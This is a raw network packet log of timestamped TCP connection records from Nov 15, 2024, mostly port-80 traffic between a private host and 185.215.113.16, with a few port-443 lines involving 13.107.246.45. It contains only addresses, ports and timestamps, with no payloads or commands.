Nov 15, 2024 19:39:33.710743904 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.710743904 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.710768938 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.710778952 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.714320898 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.714369059 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.714463949 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.714669943 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.714689016 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.722731113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722770929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722826004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722830057 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.722861052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722891092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722908974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.722944021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.722989082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.722995996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723026037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723058939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723069906 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723113060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723141909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723165989 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723175049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723210096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723222971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723242998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723285913 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723294020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723347902 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723388910 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723398924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723433971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723468065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723479986 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723503113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723548889 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723552942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723587036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723620892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723638058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723654985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723683119 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723699093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723716021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723767042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723767996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723802090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723839045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723845005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723872900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723906994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723912954 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.723941088 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723974943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.723978996 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724014044 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724047899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724060059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724098921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724133968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724142075 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724165916 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724199057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724208117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724247932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724282026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724296093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724313974 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724348068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724356890 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724399090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724436045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724464893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724471092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724504948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724514961 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724539042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724571943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724590063 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724606037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724638939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724666119 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724670887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724704027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724720001 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724736929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724770069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724786997 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.724803925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724838972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.724842072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.729665041 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729724884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729731083 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.729778051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729829073 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729834080 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.729861021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729896069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729917049 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.729944944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.729979992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730001926 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730012894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730045080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730062962 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730096102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730133057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730145931 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730165958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730216026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730223894 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730249882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730299950 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730304003 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730334044 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730367899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730381966 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730422974 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730458021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730480909 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730490923 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730540991 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730541945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730575085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730607986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730627060 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730657101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730691910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730711937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730727911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730761051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730787039 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730809927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730845928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730865002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730895996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730947018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.730951071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.730979919 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731014013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731030941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.731045961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731080055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731093884 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.731113911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731147051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731179953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731182098 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.731214046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.731237888 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.785322905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.878861904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.878932953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.878968954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879019976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879046917 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879071951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879095078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879113913 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879169941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879173994 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879204988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879239082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879257917 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879272938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879306078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879344940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879363060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879396915 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879417896 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879451036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879484892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879502058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879520893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879554987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879596949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879620075 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879631996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879645109 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879666090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879698038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879725933 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879733086 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879765034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879793882 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879797935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879832029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879848003 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879880905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879914045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879939079 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.879949093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.879981995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880008936 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880034924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880084991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880119085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880119085 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880151987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880186081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880192995 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880222082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880239964 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880275011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880306959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880331039 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880340099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880373955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880390882 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880428076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880461931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880481958 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880496025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880548000 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880548000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880582094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880608082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880624056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880636930 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880639076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880654097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880657911 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880670071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880686045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880696058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880702019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880717039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880733013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880743980 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880748987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880764961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880775928 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880798101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.880951881 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880968094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880983114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.880996943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881006956 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881012917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881026030 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881030083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881047010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881062984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881064892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881105900 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881225109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881241083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881256104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881270885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881287098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881289005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881302118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881315947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881339073 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881376982 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881392002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881433964 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881544113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881558895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881572962 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881587029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881602049 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881603003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881618977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881620884 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881633997 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881649017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881655931 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881664038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881680012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881695032 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881710052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881712914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881712914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881737947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.881932020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881947994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.881985903 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882029057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882042885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882056952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882074118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882088900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882107019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882107019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882143974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882183075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882199049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882213116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882236958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882247925 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882253885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882270098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882285118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882287979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882301092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882316113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.882339001 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.882343054 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.925973892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.001169920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001230955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001269102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001292944 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.001322031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001378059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.001770020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001800060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001852036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001861095 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.001884937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001914978 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.001946926 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.001966000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002001047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002017975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002033949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002068043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002079964 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002119064 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002152920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002171040 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002194881 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002243042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002243996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002279043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002314091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002336025 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002343893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002393961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002393961 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002438068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002468109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002501011 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002516985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002549887 CET	80	49802	185.215.113.16	192.168.2.7
